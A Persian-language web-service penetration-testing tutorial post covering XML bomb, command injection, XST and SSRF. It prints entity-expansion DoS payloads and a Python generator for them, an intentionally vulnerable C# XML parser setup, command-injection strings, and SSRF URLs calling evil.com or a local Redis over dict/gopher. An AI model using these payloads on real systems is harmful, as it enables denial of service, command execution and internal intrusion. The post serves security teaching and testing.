به نام خداوندی که به آدمی آنچه را که نمیدانست تعلیم داد.
آسیب پذیری های xml bomb,command injection, xst, ssrf در وبسرویس ها
از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با یک سری دیگر از آسیب پذیری های رایج در وبسرویس مثل xml bomb و command injection و xst و ssrf آشنا می شویم
آسیب پذیری هایی که این این قسمت می خواهیم درباره آن صحبت کنیم بسیار گسترده اند بنابراین بخشی از آموزش را در این جا به صورت متنی قرار می دهم.
نمونه payload برای تست xml bomb
1)
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
<result>Now include &long; lots of times to expand
the in-memory size of this XML structure</result>
<result>&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
&long;&long;&long;&long;&long;&long;&long;&long;
Keep it going...
&long;&long;&long;&long;&long;&long;&long;...</result>
</results>
2)
<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY x0 "BOOM!">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!-- Add the remaining sequence from x4...x100 (or boom) -->
<!ENTITY x99 "&x98;&x98;">
<!ENTITY boom "&x99;&x99;">
]>
<results>
<result>Explode in 3...2...1...&boom;</result>
</results>
نمونه کد آسیب پذیر xml bomb:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.ValidationType = ValidationType.None;
settings.MaxCharactersFromEntities = 999999999999999;
XmlReader reader = XmlReader.Create(new StringReader(xml), settings);
while (reader.Read()) { }
return string.Empty;
برای generate نمودن payload برای آسیب پذیری xml bomb میتوانید از این اسکریپت استفاده کنید.
#!/usr/bin/python3
NUM = 55000
def main():
entity = 'A' * NUM
refs = '&x;' * NUM
templ = '''<?xml version="1.0"?>
<!DOCTYPE DoS [
<!ENTITY x "{entity}">
]>
<DoS>{entityReferences}</DoS>
'''.format(entity=entity, entityReferences=refs)
print(templ)
if __name__ == '__main__':
main()
برای آسیب پذیری command injection میتوانید از payload های زیر استفاده کنید.
در لینوکس
;id;
;id
|id
|/usr/bin/id
|id|
در ویندوز
| dir
; dir
%26%26 dir
%26%26dir
برای تست آسیب پذیری XST می توانید به جای استفاده از اسکریپت که در فیلم گفته شد می توانید از ترمینال این دستور اجرا کنید.
curl -X TRACE -H "Cookie: name=value" 127.0.0.1
اگر مقدار تنظیم شده برای name در cookie پاسخ درخواست مشاهده شد آسیب پذیری xst وجود دارد.
برای تست SSRF و اکسپلویت نمودن آن راه های زیاد و خلاقانه ای وجود دارد.
در فیلم توانستیم با SSRF به صورت خیلی ساده port scan انجام بدهیم.
یکی دیگه از راه های تست و اکسپلویت استفاده از دیگر پروتکل ها به جای http است.
مثال های دیگر عبارتنند از:
file://path/to/file
sftp://evil.com:11111/
tftp://evil.com:12346/TESTUDPPACKET
ldap://localhost:11211/%0astats%0aquit
gopher://127.0.0.1:4242/DATA
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
همچنین برای تست ssrf می توانید از قابلیت burp collaborator در نرم افزار burp و همچنین ssrfmap استفاده کنید
در این قسمت تا اسلاید ۱۷ پیش رفتیم.
اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.
پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.
امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.
مطلبی دیگر از این انتشارات
آسیب پذیری های xxe,xpath injection,api sql injection در وبسرویس ها
مطلبی دیگر از این انتشارات
آسیب پذیری های CORS,SOME,JWT,IDOR در وبسرویس ها
مطلبی دیگر از این انتشارات
مقدمه ای بر تست نفوذ وبسرویس